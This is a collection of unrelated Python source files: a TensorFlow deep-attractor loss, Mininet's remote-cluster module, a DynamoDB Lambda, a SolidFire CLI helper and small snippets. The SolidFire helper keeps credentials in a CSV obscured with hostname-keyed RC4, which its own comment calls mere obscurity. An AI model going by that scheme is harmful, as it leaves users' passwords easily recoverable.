using anchors Args: targets: a dictionary of [batch_size x time x ...] tensor containing the targets logits: a dictionary of [batch_size x time x ...] tensors containing the logits seq_length: a dictionary of [batch_size] vectors containing the sequence lengths Returns: loss: a scalar value containing the loss norm: a scalar value indicating how to normalize the loss """ # Clean spectograms of sources spectrogram_targets = targets['multi_targets'] # Spectogram of the original mixture, used to mask for scoring mix_to_mask = targets['mix_to_mask'] # Length of sequences seq_length = seq_length['bin_emb'] # Logits (=output network) emb_vec = logits['bin_emb'] anchors = logits['anchors'] if 'speaker_logits' in logits: # Assuming dimensions are B x T x S speaker_logits = logits['speaker_logits'] av_speaker_logits_time_flag = self.lossconf['av_speaker_logits_time_flag'] == 'True' else: speaker_logits = None if 'anchors_scale' in logits: # Assuming dimensions are B x T x S anchors_scale = logits['anchors_scale'] anchors_scale = anchors_scale[0, 0] else: anchors_scale = None time_anchors_flag = self.lossconf['time_anchors_flag'] == 'True' av_anchors_time_flag = (self.lossconf['av_anchors_time_flag'] == 'True') and time_anchors_flag activation = self.lossconf['activation'] normalize_embs = self.lossconf['normalize_embs'] == 'True' normalize_anchors = self.lossconf['normalize_anchors'] == 'True' if 'do_square' in self.lossconf: do_square = self.lossconf['do_square'] == 'True' else: do_square = True with tf.name_scope('anchor_deepattractornet_loss'): feat_dim = spectrogram_targets.get_shape()[2] emb_dim = anchors.get_shape()[-1] time_dim = tf.shape(anchors)[1] nrS = spectrogram_targets.get_shape()[3] V = tf.reshape(emb_vec, [self.batch_size, -1, feat_dim, emb_dim], name='V') # dim: (B x T x F x D) if normalize_embs: V = V / (tf.norm(V, axis=-1, keepdims=True) + 1e-12) time_dim = tf.shape(V)[1] if not time_anchors_flag: anchors = tf.tile(tf.expand_dims(tf.expand_dims(anchors, 0), 0), [self.batch_size, time_dim, 1, 1]) # dim: (B x T x S x D) if normalize_anchors: anchors = anchors / (tf.norm(anchors, axis=-1, keepdims=True) + 1e-12) if speaker_logits is not None: speaker_logits = tf.expand_dims(speaker_logits, -1) if av_speaker_logits_time_flag: speaker_logits = tf.reduce_mean(speaker_logits, 1, keepdims=True) anchors *= speaker_logits if anchors_scale is not None: anchors *= anchors_scale if av_anchors_time_flag: anchors = tf.reduce_mean(anchors, axis=1, keepdims=True) anchors = tf.tile(anchors, [1, time_dim, 1, 1]) prod_1 = tf.matmul(V, anchors, transpose_a=False, transpose_b=True, name='AVT') if activation == 'softmax': masks = tf.nn.softmax(prod_1, axis=-1, name='M') # dim: (B x T x F x nrS) elif activation in ['None', 'none', None]: masks = prod_1 elif activation == 'sigmoid': masks = tf.nn.sigmoid(prod_1, name='M') else: masks = tf.nn.sigmoid(prod_1, name='M') X = tf.expand_dims(mix_to_mask, -1, name='X') # dim: (B x T x F x 1) reconstructions = tf.multiply(masks, X) # dim: (B x T x F x nrS) reconstructions = tf.transpose(reconstructions, perm=[3, 0, 1, 2]) # dim: (nrS x B x T x F) S = tf.transpose(spectrogram_targets, [3, 0, 1, 2]) # nrS x B x T x F if 'vad_targets' in targets: overlap_weight = float(self.lossconf['overlap_weight']) vad_sum = tf.reduce_sum(targets['vad_targets'], -1) bin_weights = tf.where( vad_sum > 1, tf.ones([self.batch_size, time_dim]) * overlap_weight, tf.ones([self.batch_size, time_dim])) bin_weights = tf.expand_dims(bin_weights, -1) # broadcast the frame weights to all bins norm = tf.reduce_sum(bin_weights) * tf.to_float(feat_dim) else: bin_weights = None norm = tf.to_float(tf.reduce_sum(seq_length) * feat_dim) loss = ops.base_pit_loss(reconstructions, S, bin_weights=bin_weights, overspeakererized=False, do_square=do_square) return loss, norm class TimeAnchorNormDeepattractornetSoftmaxLoss(loss_computer.LossComputer): """A loss computer that calculates the loss""" def __call__(self, targets, logits, seq_length): """ Compute the loss Creates the operation to compute the deep attractor network with softmax loss, using anchors. Embeddings will be normalized. Args: targets: a dictionary of [batch_size x time x ...] tensor containing the targets logits: a dictionary of [batch_size x time x ...] tensors containing the logits seq_length: a dictionary of [batch_size] vectors containing the sequence lengths Returns: loss: a scalar value containing the loss norm: a scalar value indicating how to normalize the loss """ warnings.warn('In following versions it will be required to use the AnchorDeepattractornetLoss', Warning) # Clean spectograms of sources spectrogram_targets = targets['multi_targets'] # Spectogram of the original mixture, used to mask for scoring mix_to_mask = targets['mix_to_mask'] # Length of sequences seq_length = seq_length['bin_emb'] # Logits (=output network) emb_vec = logits['bin_emb'] anchors = logits['anchors'] # calculate loss and normalisation factor of mini-batch loss, norm = ops.time_anchor_deepattractornet_loss( spectrogram_targets, mix_to_mask, emb_vec, anchors, seq_length, self.batch_size, activation='softmax', normalize=True) return loss, norm class TimeAnchorReadHeadsNormDeepattractornetSoftmaxLoss(loss_computer.LossComputer): """A loss computer that calculates the loss""" def __call__(self, targets, logits, seq_length): """ Compute the loss Creates the operation to compute the deep attractor network with softmax loss, using anchors. Embeddings will be normalized. Use read heads for assignments. Args: targets: a dictionary of [batch_size x time x ...] tensor containing the targets logits: a dictionary of [batch_size x time x ...] tensors containing the logits seq_length: a dictionary of [batch_size] vectors containing the sequence lengths Returns: loss: a scalar value containing the loss norm: a scalar value indicating how to normalize the loss """ warnings.warn('In following versions it will be required to use the AnchorDeepattractornetLoss', Warning) # Clean spectograms of sources spectrogram_targets = targets['multi_targets'] # Spectogram of the original mixture, used to mask for scoring mix_to_mask = targets['mix_to_mask'] # Length of sequences seq_length = seq_length['bin_emb'] # Logits (=output network) emb_vec = logits['bin_emb'] anchors = logits['anchors'] read_heads = logits['read_heads'] # calculate loss and normalisation factor of mini-batch loss, norm = ops.time_anchor_read_heads_deepattractornet_loss( spectrogram_targets, mix_to_mask, emb_vec, anchors, read_heads, seq_length, self.batch_size, activation='softmax', normalize=True) return loss, norm class TimeAnchorReadHeadsNormDeepattractornetSoftmaxFramebasedLoss(loss_computer.LossComputer): """A loss computer that calculates the loss""" def __call__(self, targets, logits, seq_length): """ Compute the loss Creates the operation to compute the deep attractor network with softmax loss, using anchors. Embeddings will be normalized. Use read heads for assignments. Args: targets: a dictionary of [batch_size x time x ...] tensor containing the targets logits: a dictionary of [batch_size x time x ...] tensors containing the logits seq_length: a dictionary of [batch_size] vectors containing the sequence lengths Returns: loss: a scalar value containing the loss norm: a scalar value indicating how to normalize the loss """ warnings.warn('In following versions it will be required to use the AnchorDeepattractornetLoss', Warning) # Clean spectograms of sources spectrogram_targets = targets['multi_targets'] # Spectogram of the original mixture, used to mask for scoring mix_to_mask = targets['mix_to_mask'] # Length of sequences seq_length = seq_length['bin_emb'] # Logits (=output network) emb_vec = logits['bin_emb'] anchors = logits['anchors'] read_heads = logits['read_heads'] # calculate loss and normalisation factor of mini-batch loss, norm = ops.time_anchor_read_heads_deepattractornet_loss( spectrogram_targets, mix_to_mask, emb_vec, anchors, read_heads, seq_length, self.batch_size, activation='softmax', normalize=True, frame_based=True) return loss, norm
20,185
34f5bb97c03cfbc0ca5049cc730ca99516a5ad14
# code copied from # https://github.com/mininet/mininet/blob/master/examples/cluster.py # with some minor changes from subprocess import PIPE, STDOUT import os import re from itertools import groupby from operator import attrgetter from distutils.version import StrictVersion from mininet.node import Node, OVSSwitch from mininet.link import Link, TCIntf from mininet.util import quietRun, decode from mininet.log import debug, info from mininet.clean import addCleanupCallback # pylint: disable=too-many-arguments def findUser(): "Try to return logged-in (usually non-root) user" return ( # If we're running sudo os.environ.get('SUDO_USER', False) or # Logged-in user (if we have a tty) (quietRun('who am i').split() or [False])[0] or # Give up and return effective user quietRun('whoami').strip()) class ClusterCleanup(object): "Cleanup callback" inited = False serveruser = {} @classmethod def add(cls, server, user=''): "Add an entry to server: user dict" if not cls.inited: addCleanupCallback(cls.cleanup) if not user: user = findUser() cls.serveruser[server] = user @classmethod def cleanup(cls): "Clean up" info('*** Cleaning up cluster\n') for server, user in cls.serveruser.items(): if server == 'localhost': # Handled by mininet.clean.cleanup() continue else: cmd = ['su', user, '-c', 'ssh %s@%s sudo mn -c' % (user, server)] info(cmd, '\n') info(quietRun(cmd)) # BL note: so little code is required for remote nodes, # we will probably just want to update the main Node() # class to enable it for remote access! However, there # are a large number of potential failure conditions with # remote nodes which we may want to detect and handle. # Another interesting point is that we could put everything # in a mix-in class and easily add cluster mode to 2.0. class RemoteMixin(object): "A mix-in class to turn local nodes into remote nodes" # ssh base command # -q: don't print stupid diagnostic messages # BatchMode yes: don't ask for password # ForwardAgent yes: forward authentication credentials sshbase = ['ssh', '-q', '-o', 'BatchMode=yes', '-o', 'ForwardAgent=yes', '-tt'] def __init__(self, name, server='localhost', user=None, serverIP=None, port=None, controlPath=False, splitInit=False, **kwargs): """Instantiate a remote node name: name of remote node server: remote server (optional) user: user on remote server (optional) controlPath: specify shared ssh control path (optional) splitInit: split initialization? **kwargs: see Node()""" # We connect to servers by IP address self.server = server if server else 'localhost' self.serverIP = (serverIP if serverIP else self.findServerIP(self.server)) self.user = user if user else findUser() ClusterCleanup.add(server=server, user=user) if controlPath is True: # Set a default control path for shared SSH connections controlPath = '/tmp/mn-%r@%h:%p' self.controlPath = controlPath self.splitInit = splitInit if self.user and self.server != 'localhost': self.dest = '%s@%s' % (self.user, self.serverIP) self.sshcmd = ['sudo', '-E', '-u', "mininet"] + self.sshbase if port is not None: self.sshcmd += ["-p", str(port)] if self.controlPath: self.sshcmd += ['-o', 'ControlPath=' + self.controlPath, '-o', 'ControlMaster=auto', '-o', 'ControlPersist=' + '1'] self.sshcmd += [self.dest] self.isRemote = True else: self.dest = None self.sshcmd = [] self.isRemote = False # Satisfy pylint self.shell, self.pid = None, None super(RemoteMixin, self).__init__(name, **kwargs) # Determine IP address of local host _ipMatchRegex = re.compile(r'\d+\.\d+\.\d+\.\d+') @classmethod def findServerIP(cls, server): "Return our server's IP address" # First, check for an IP address ipmatch = cls._ipMatchRegex.findall(server) if ipmatch: return ipmatch[0] # Otherwise, look up remote server output = quietRun('getent ahostsv4 %s' % server) ips = cls._ipMatchRegex.findall(output) ip = ips[0] if ips else None return ip # Command support via shell process in namespace def startShell(self, *args, **kwargs): "Start a shell process for running commands" if self.isRemote: kwargs.update(mnopts='-c') super(RemoteMixin, self).startShell(*args, **kwargs) # Optional split initialization self.sendCmd('echo $$') if not self.splitInit: self.finishInit() def finishInit(self): "Wait for split initialization to complete" self.pid = int(self.waitOutput()) def rpopen(self, *cmd, **opts): "Return a Popen object on underlying server in root namespace" params = {'stdin': PIPE, 'stdout': PIPE, 'stderr': STDOUT, 'sudo': True} params.update(opts) return self._popen(*cmd, **params) def rcmd(self, *cmd, **opts): """rcmd: run a command on underlying server in root namespace args: string or list of strings returns: stdout and stderr""" popen = self.rpopen(*cmd, **opts) # info( 'RCMD: POPEN:', popen, '\n' ) # These loops are tricky to get right. # Once the process exits, we can read # EOF twice if necessary. result = '' while True: poll = popen.poll() result += decode(popen.stdout.read()) if poll is not None: break return result @staticmethod def _ignoreSignal(): "Detach from process group to ignore all signals" os.setpgrp() def _popen(self, cmd, sudo=True, tt=True, **params): """Spawn a process on a remote node cmd: remote command to run (list) **params: parameters to Popen() returns: Popen() object""" if isinstance(cmd, str): cmd = cmd.split() if self.isRemote: if sudo: cmd = ['sudo', '-E'] + cmd if tt: cmd = self.sshcmd + cmd else: # Hack: remove -tt sshcmd = list(self.sshcmd) sshcmd.remove('-tt') cmd = sshcmd + cmd else: if self.user and not sudo: # Drop privileges cmd = ['sudo', '-E', '-u', self.user] + cmd params.update(preexec_fn=self._ignoreSignal) debug('_popen', cmd, '\n') popen = super(RemoteMixin, self)._popen(cmd, **params) return popen def popen(self, *args, **kwargs): "Override: disable -tt" return super(RemoteMixin, self).popen(*args, tt=False, **kwargs) def addIntf(self, *args, **kwargs): "Override: use RemoteLink.moveIntf" # kwargs.update( moveIntfFn=RemoteLink.moveIntf ) # pylint: disable=useless-super-delegation return super(RemoteMixin, self).addIntf(*args, **kwargs) class RemoteNode(RemoteMixin, Node): "A node on a remote server" pass class RemoteHost(RemoteNode): "A RemoteHost is simply a RemoteNode" pass class RemoteOVSSwitch(RemoteMixin, OVSSwitch): "Remote instance of Open vSwitch" OVSVersions = {} def __init__(self, *args, **kwargs): # No batch startup yet kwargs.update(batch=True) super(RemoteOVSSwitch, self).__init__(*args, **kwargs) def isOldOVS(self): "Is remote switch using an old OVS version?" cls = type(self) if self.server not in cls.OVSVersions: # pylint: disable=not-callable vers = self.cmd('ovs-vsctl --version') # pylint: enable=not-callable cls.OVSVersions[self.server] = re.findall( r'\d+\.\d+', vers)[0] return (StrictVersion(cls.OVSVersions[self.server]) < StrictVersion('1.10')) @classmethod # pylint: disable=arguments-differ def batchStartup(cls, switches, **_kwargs): "Start up switches in per-server batches" key = attrgetter('server') for server, switchGroup in groupby(sorted(switches, key=key), key): info('(%s)' % server) group = tuple(switchGroup) switch = group[0] OVSSwitch.batchStartup(group, run=switch.cmd) return switches @classmethod # pylint: disable=arguments-differ def batchShutdown(cls, switches, **_kwargs): "Stop switches in per-server batches" key = attrgetter('server') for server, switchGroup in groupby(sorted(switches, key=key), key): info('(%s)' % server) group = tuple(switchGroup) switch = group[0] OVSSwitch.batchShutdown(group, run=switch.rcmd) return switches class RemoteLink(Link): "A RemoteLink is a link between nodes which may be on different servers" def __init__(self, node1, node2, **kwargs): """Initialize a RemoteLink see Link() for parameters""" # Create links on remote node self.node1 = node1 self.node2 = node2 self.tunnel = None kwargs.setdefault('params1', {}) kwargs.setdefault('params2', {}) kwargs.setdefault('cls1', TCIntf) kwargs.setdefault('cls2', TCIntf) self.cmd = None # satisfy pylint Link.__init__(self, node1, node2, **kwargs) def stop(self): "Stop this link" if self.tunnel: self.tunnel.terminate() self.intf1.delete() self.intf2.delete() else: Link.stop(self) self.tunnel = None def makeIntfPair(self, intfname1, intfname2, addr1=None, addr2=None, node1=None, node2=None, deleteIntfs=True): """Create pair of interfaces intfname1: name of interface 1 intfname2: name of interface 2 (override this method [and possibly delete()] to change link type)""" node1 = self.node1 if node1 is None else node1 node2 = self.node2 if node2 is None else node2 server1 = getattr(node1, 'server', 'localhost') server2 = getattr(node2, 'server', 'localhost') if server1 == server2: # Link within same server return Link.makeIntfPair(intfname1, intfname2, addr1, addr2, node1, node2, deleteIntfs=deleteIntfs) # Otherwise, make a tunnel self.tunnel = self.makeTunnel(node1, node2, intfname1, intfname2, addr1, addr2) return self.tunnel @staticmethod def moveIntf(intf, node): """Move remote interface from root ns to node intf: string, interface dstNode: destination Node srcNode: source Node or None (default) for root ns""" intf = str(intf) cmd = 'ip link set %s netns %s' % (intf, node.pid) result = node.rcmd(cmd) if result: raise Exception('error executing command %s' % cmd) return True def makeTunnel(self, node1, node2, intfname1, intfname2, addr1=None, addr2=None): "Make a tunnel across switches on different servers" # We should never try to create a tunnel to ourselves! assert node1.server != node2.server # And we can't ssh into this server remotely as 'localhost', # so try again swappping node1 and node2 if node2.server == 'localhost': return self.makeTunnel(node1=node2, node2=node1, intfname1=intfname2, intfname2=intfname1, addr1=addr2, addr2=addr1) debug('\n*** Make SSH tunnel ' + node1.server + ':' + intfname1 + ' == ' + node2.server + ':' + intfname2) # 1. Create tap interfaces for node in node1, node2: # For now we are hard-wiring tap9, which we will rename cmd = 'ip tuntap add dev tap9 mode tap user ' + node.user result = node.rcmd(cmd) if result: raise Exception('error creating tap9 on %s: %s' % (node, result)) # 2. Create ssh tunnel between tap interfaces # -n: close stdin dest = '%s@%s' % (node2.user, node2.serverIP) cmd = ['ssh', '-n', '-o', 'Tunnel=Ethernet', '-w', '9:9', dest, 'echo @'] self.cmd = cmd tunnel = node1.rpopen(cmd, sudo=False) # When we receive the character '@', it means that our # tunnel should be set up debug('Waiting for tunnel to come up...\n') ch = decode(tunnel.stdout.read(1)) if ch != '@': ch += decode(tunnel.stdout.read()) cmd = ' '.join(cmd) raise Exception('makeTunnel:\n' 'Tunnel setup failed for ' '%s:%s' % (node1, node1.dest) + ' to ' '%s:%s\n' % (node2, node2.dest) + 'command was: %s' % cmd + '\n' + 'result was: ' + ch) # 3. Move interfaces if necessary for node in node1, node2: if not self.moveIntf('tap9', node): raise Exception('interface move failed on node %s' % node) # 4. Rename tap interfaces to desired names for node, intf, addr in ((node1, intfname1, addr1), (node2, intfname2, addr2)): if not addr: result = node.cmd('ip link set tap9 name', intf) else: result = node.cmd('ip link set tap9 name', intf, 'address', addr) if result: raise Exception('error renaming %s: %s' % (intf, result)) return tunnel def status(self): "Detailed representation of link" if self.tunnel: if self.tunnel.poll() is not None: status = "Tunnel EXITED %s" % self.tunnel.returncode else: status = "Tunnel Running (%s: %s)" % ( self.tunnel.pid, self.cmd) else: status = "OK" result = "%s %s" % (Link.status(self), status) return result class RemoteSSHLink(RemoteLink): "Remote link using SSH tunnels" def __init__(self, node1, node2, **kwargs): RemoteLink.__init__(self, node1, node2, **kwargs)
20,186
f2b2f8d797ec112fe37116bacddfe8b213d4c636
import json import boto3, os, time import datetime print('Loading function') ddb_latest_episodes = os.environ['ddb_latest_episodes'] expiry_time = int(os.environ['expiry_time']) dynamodb = boto3.client('dynamodb') def lambda_handler(event, context): # print("Received event: " + json.dumps(event, indent=2)) # print(event) for record in event['Records']: print(record['eventID']) # print(record['eventName']) if 'INSERT' in record['eventName']: # print("DynamoDB Record: " + json.dumps(record['dynamodb']['NewImage'], indent=2)) new_show_details = record['dynamodb']['NewImage'] now = datetime.datetime.now() expiry_ttl = (now + datetime.timedelta(days=expiry_time)).timestamp() new_show_details.update( { "expiry_ttl": {"S": str(expiry_ttl)} } ) print(new_show_details) dynamodb.put_item(TableName=ddb_latest_episodes, Item=new_show_details) return 'Successfully processed {} records.'.format(len(event['Records']))
20,187
522f893a56777a45c9c44d1cd381de163b46b8b1
import jsonpickle import json as serializer from pkg_resources import Requirement, resource_filename import os import csv from Crypto.Cipher import ARC4 import base64 import socket import getpass from solidfire.factory import ElementFactory from filelock import FileLock import sys def kv_string_to_dict(kv_string): new_dict = {} items = kv_string.split(',') for item in items: kvs = item.split('=') new_dict[kvs[0]] = kvs[1] def print_result(objs, log, as_json=False, as_pickle=False, depth=None, filter_tree=None): # There are 3 acceptable parameter sets to provide: # 1. json=True, depth=None, filter_tree=None # 2. json=False, depth=#, filter_tree=None # 3. json=False, depth=#, filter_tree=acceptable string # Error case if as_json and (depth is not None or filter_tree is not None): log.error("If you choose to print it as json, do not provide a depth or filter. Those are for printing it as a tree.") exit() """ SDK1.6 Note: Since print_tree is not supported in 1.6, when both the available output formats json and pickle formats are set to False, change the default output format (pickle) to True. """ if as_json == False and as_pickle == False: as_pickle = True # If json is true, we print it as json and return: if as_json == True or as_pickle == True: print_result_as_json(objs, as_pickle) return """ SDK1.6 Note: Commenting out these lines as print_tree is not supported in 1.6. """ """ # If we have a filter, apply it. if filter_tree is not None: try: objs_to_print = filter_objects_from_simple_keypaths(objs, filter_tree.split(',')) except Exception as e: log.error(e.args[0]) exit(1) else: objs_to_print = objs # Set up a default depth if depth is None: depth = 10 # Next, print the tree to the appropriate depth print_result_as_tree(objs_to_print, depth) """ def print_result_as_json(objs, pickle=False): #print(jsonpickle.encode(objs)) nestedDict = serializer.loads(jsonpickle.encode(objs)) filteredDict = type(nestedDict)() if(pickle==False): remove_pickling(nestedDict, filteredDict) else: filteredDict = nestedDict print(serializer.dumps(filteredDict,indent=4)) def remove_pickling(nestedDict, filteredDict): if type(nestedDict) is dict: #foreach key, if list, recurse, if dict, recurse, if string recurse unless py/obj is key. for key in nestedDict: if key == "py/object": continue else: filteredDict[key] = type(nestedDict[key])() filteredDict[key] = remove_pickling(nestedDict[key], filteredDict[key]) return filteredDict if type(nestedDict) is list: # foreach item for i in range(len(nestedDict)): filteredDict.append(type(nestedDict[i])()) filteredDict[i] = remove_pickling(nestedDict[i], filteredDict[i]) return filteredDict return nestedDict """ SDK1.6 Note: Commenting this as print_tree is not supported in SDK 1.6. """ def get_result_as_tree(objs, depth=1, currentDepth=0, lastKey = ""): print("print_tree is not supported in SDK1.6") """stringToReturn = "" if(currentDepth > depth): return "<to see more details, increase depth>\n" if(type(objs) is str or type(objs) is bool or type(objs) is int or type(objs) is type(u'') or objs is None or type(objs) is float):# or (sys.version_info[0]<3 and type(objs) is long)): return str(objs) + "\n" if(type(objs) is list): stringToReturn += "\n" for i in range(len(objs)): obj = objs[i] stringToReturn += currentDepth*" "+get_result_as_tree(obj, depth, currentDepth+1, lastKey) return stringToReturn if(isinstance(objs, dict)): stringToReturn += "\n" for key in objs: stringToReturn += currentDepth*" "+key+": "+get_result_as_tree(objs[key], depth, currentDepth+1, key) return stringToReturn if (isinstance(objs, tuple)): return str(objs[0]) + "\n" if(objs is None): return stringToReturn mydict = objs.__dict__ stringToReturn += "\n" for key in mydict: stringToReturn += currentDepth*" " stringToReturn += key+": "+get_result_as_tree(mydict[key], depth, currentDepth+1, key) return stringToReturn """ def filter_objects_from_simple_keypaths(objs, simpleKeyPaths): # First, we assemble the key paths. # They start out like this: # [accouts.username, accounts.initiator_secret.secret, accounts.status] # and become like this: # {"accounts":{"username":True, "initiator_secret":{"secret":True}, "status":True} keyPaths = dict() for simpleKeyPath in simpleKeyPaths: currentLevel = keyPaths keyPathArray = simpleKeyPath.split('.') for i in range(len(keyPathArray)): if(i<(len(keyPathArray) - 1)): if currentLevel.get(keyPathArray[i]) is None: currentLevel[keyPathArray[i]] = dict() else: currentLevel[keyPathArray[i]] = True currentLevel = currentLevel[keyPathArray[i]] # Then we pass it in to filter objects. return filter_objects(objs, keyPaths) # Keypaths is arranged as follows: # it is a nested dict with the order of the keys. def filter_objects(objs, keyPaths): # Otherwise, we keep recursing deeper. # Because there are deeper keys, we know that we can go deeper. # This means we are dealing with either an array or a dict. # If keyPaths looks like this: # {"username": True, "volumes": {"Id": True}} # The keys in this sequence will be username and volumes. # When we recurse into volumes, the keys will be Id. finalFilteredObjects = dict() if keyPaths == True and type(objs) is not list: return objs # If we've found a list, we recurse deeper to pull out the objs. # We do not advance our keyPath recursion because this is just a list. if type(objs) is list: # If we have a list of objects, we will need to assemble and return a list of stuff. filteredObjsDict = [None]*len(objs) for i in range(len(objs)): # Each element could be a string, dict, or list. filteredObjsDict[i] = filter_objects(objs[i], keyPaths) return filteredObjsDict dictionaryOfInterest = None if type(objs) is dict: dictionaryOfInterest = objs else: dictionaryOfInterest = objs.__dict__ for key in keyPaths: # If we've found a dict, we recurse deeper to pull out the objs. # Because this is a dict, we must advance our keyPaths recursion. # Consider the following example: if key not in dictionaryOfInterest: raise ValueError("'"+key+"' is not a valid key for this level. Valid keys are: "+','.join(dictionaryOfInterest.keys())) finalFilteredObjects[key] = filter_objects(dictionaryOfInterest[key], keyPaths[key]) return finalFilteredObjects def print_result_as_table(objs, keyPaths): filteredDictionary = filter_objects(objs, keyPaths) def print_result_as_tree(objs, depth=1): print(get_result_as_tree(objs, depth)) def establish_connection(ctx): # Verify that the mvip does not contain the port number: if ctx.mvip and ":" in ctx.mvip: ctx.logger.error('Please provide the port using the port parameter.') exit(1) cfg = None # Arguments take precedence regardless of env settings if ctx.mvip: if ctx.username is None: ctx.username = getpass.getpass("Username:") if ctx.password is None: ctx.password = getpass.getpass("Password:") cfg = {'mvip': ctx.mvip, 'username': "b'"+encrypt(ctx.username).decode('utf-8')+"'", 'password': "b'"+encrypt(ctx.password).decode('utf-8')+"'", 'port': ctx.port, 'url': 'https://%s:%s' % (ctx.mvip, ctx.port), 'version': ctx.version, 'verifyssl': ctx.verifyssl, 'timeout': ctx.timeout} try: ctx.element = ElementFactory.create(cfg["mvip"],decrypt(cfg["username"]),decrypt(cfg["password"]),port=cfg["port"],version=cfg["version"],verify_ssl=cfg["verifyssl"],timeout=cfg["timeout"]) ctx.version = ctx.element._api_version cfg["version"] = ctx.element._api_version except Exception as e: ctx.logger.error(e.__str__()) exit(1) # If someone accidentally passed in an argument, but didn't specify everything, throw an error. elif ctx.username or ctx.password: ctx.logger.error("In order to manually connect, please provide an mvip, a username, AND a password") # If someone asked for a given connection or we need to default to using the connection at index 0 if it exists: else: if ctx.connectionindex is None and ctx.name is None: cfg = get_default_connection(ctx) elif ctx.connectionindex is not None: connections = get_connections(ctx) if int(ctx.connectionindex) > (len(connections)-1) or int(ctx.connectionindex) < (-len(connections)): ctx.logger.error("Connection "+str(ctx.connectionindex)+" Please provide an index between "+str(-len(connections))+" and "+str(len(connections)-1)) exit(1) cfg = connections[ctx.connectionindex] elif ctx.name is not None: connections = get_connections(ctx) filteredCfg = [connection for connection in connections if connection["name"] == ctx.name] if(len(filteredCfg) > 1): ctx.logger.error("Your connections.csv file has become corrupted. There are two connections of the same name.") exit() if(len(filteredCfg) < 1): ctx.logger.error("Could not find a connection named "+ctx.name) exit() cfg = filteredCfg[0] # If we managed to find the connection we were looking for, we must try to establish the connection. if cfg is not None: # Finally, we need to establish our connection via elementfactory: try: if int(cfg["port"]) != 443: address = cfg["mvip"] + ":" + cfg["port"] else: address = cfg["mvip"] ctx.element = ElementFactory.create(address, decrypt(cfg["username"]), decrypt(cfg["password"]), cfg["version"], verify_ssl=cfg["verifyssl"]) if int(cfg["timeout"]) != 30: ctx.element.timeout(cfg["timeout"]) except Exception as e: ctx.logger.error(e.__str__()) ctx.logger.error("The connection is corrupt. Run 'sfcli connection prune' to try and remove all broken connections or use 'sfcli connection remove -n name'") ctx.logger.error(cfg) exit(1) # If we want the json output directly from the source, we'll have to override the send request method in the sdk: # This is so that we can circumvent the python objects and get exactly what the json-rpc returns. if ctx.json and ctx.element: def new_send_request(*args, **kwargs): return ctx.element.__class__.__bases__[0].send_request(ctx.element, return_response_raw=True, *args, **kwargs) ctx.element.send_request = new_send_request # The only time it is none is when we're asking for help or we're trying to store a connection. # If that's not what we're doing, we catch it later. if cfg is not None: cfg["port"] = int(cfg["port"]) ctx.cfg = cfg cfg["name"] = cfg.get("name", "default") if not ctx.nocache: write_default_connection(ctx, cfg) if ctx.element is None: ctx.logger.error("You must establish at least one connection and specify which you intend to use.") exit() # this needs to be atomic. def get_connections(ctx): connectionsCsvLocation = resource_filename(Requirement.parse("solidfire-cli"), "connections.csv") connectionsLock = resource_filename(Requirement.parse("solidfire-cli"), "connectionsLock") if os.path.exists(connectionsCsvLocation): try: with FileLock(connectionsLock): with open(connectionsCsvLocation, 'r') as connectionFile: connections = list(csv.DictReader(connectionFile, delimiter=',')) except Exception as e: ctx.logger.error("Problem reading "+connectionsCsvLocation+" because: "+str(e.args)+" Try changing the permissions of that file.") exit(1) else: connections = [] for connection in connections: connection["version"] = float(connection["version"]) if connection.get("verifyssl") == "True": connection["verifyssl"] = True else: connection["verifyssl"] = False return connections def write_connections(ctx, connections): try: connectionsCsvLocation = resource_filename(Requirement.parse("solidfire-cli"), "connections.csv") connectionsLock = resource_filename(Requirement.parse("solidfire-cli"), "connectionsLock") with open(connectionsCsvLocation, 'w') as f: with FileLock(connectionsLock): w = csv.DictWriter(f, ["name","mvip","port","username","password","version","url","verifyssl","timeout"], lineterminator='\n') w.writeheader() for connection in connections: if connection is not None: w.writerow(connection) except Exception as e: ctx.logger.error("Problem writing "+ connectionsCsvLocation + " " + str(e.args)+" Try changing the permissions of that file.") exit(1) def get_default_connection(ctx): connectionCsvLocation = resource_filename(Requirement.parse("solidfire-cli"), "default_connection.csv") if os.path.exists(connectionCsvLocation): defaultLockLocation = resource_filename(Requirement.parse("solidfire-cli"), "defaultLock") try: with FileLock(defaultLockLocation): with open(connectionCsvLocation) as connectionFile: connection = list(csv.DictReader(connectionFile, delimiter=',')) except Exception as e: ctx.logger.error("Problem reading "+connectionCsvLocation+" because: "+str(e.args)+" Try changing the permissions of that file or specifying credentials.") exit(1) if len(connection)>0: connection[0]["version"] = float(connection[0]["version"]) if(connection[0]["verifyssl"] == "True"): connection[0]["verifyssl"] = True else: connection[0]["verifyssl"] = False return connection[0] else: os.remove(defaultLockLocation) ctx.logger.error("Please provide connection information. There is no connection info in cache at this time.") exit(1) else: ctx.logger.error("Please provide connection information. There is no connection info in cache at this time.") exit(1) def write_default_connection(ctx, connection): connectionCsvLocation = resource_filename(Requirement.parse("solidfire-cli"), "default_connection.csv") try: defaultLockLocation = resource_filename(Requirement.parse("solidfire-cli"), "defaultLock") with FileLock(defaultLockLocation): with open(connectionCsvLocation, 'w') as f: w = csv.DictWriter(f, ["name", "mvip", "port", "username", "password", "version", "url", "verifyssl", "timeout"], lineterminator='\n') w.writeheader() w.writerow(connection) except Exception as e: ctx.logger.warning("Problem writing "+ connectionCsvLocation + " " + str(e.args)+" Try using changing the permissions of that file or using the --nocache flag.") # WARNING! This doesn't actually give us total security. It only gives us obscurity. def encrypt(sensitive_data): cipher = ARC4.new(socket.gethostname().encode('utf-8') + "SOLIDFIRE".encode('utf-8')) encoded = base64.b64encode(cipher.encrypt(sensitive_data.encode('utf-8'))) return encoded def decrypt(encoded_sensitive_data): cipher = ARC4.new(socket.gethostname().encode('utf-8') + "SOLIDFIRE".encode('utf-8')) decoded = cipher.decrypt(base64.b64decode(encoded_sensitive_data[2:-1])) return decoded.decode('utf-8')
20,188
488d6ef2d9a29daf71718dceabf383e84655275b
class Circulo: _pi = 3.1416 # variable de clase, no le pertenece a los objetos. # Una convencion para indicar que es una constante, es añadir un guion. Python no tiene constantes def __init__(self, radio): self.radio = radio def area(self): return self.radio * self.radio * Circulo._pi circulo_uno = Circulo(4) circulo_dos = Circulo(3) # print(circulo_uno.radio) # print(circulo_dos.radio) # print(circulo_uno.pi) # print(circulo_dos.pi) print(circulo_uno.__dict__) # nos va a mostrar las variables del objeto print(circulo_uno.area())
20,189
37026a0126f36c07277995375a558886a5a2df9d
with open('xmen.txt', 'r+') as f: f.write("\nDr.Starge")
20,190
69a14add51a7d610af991ed90b6610e10082229c
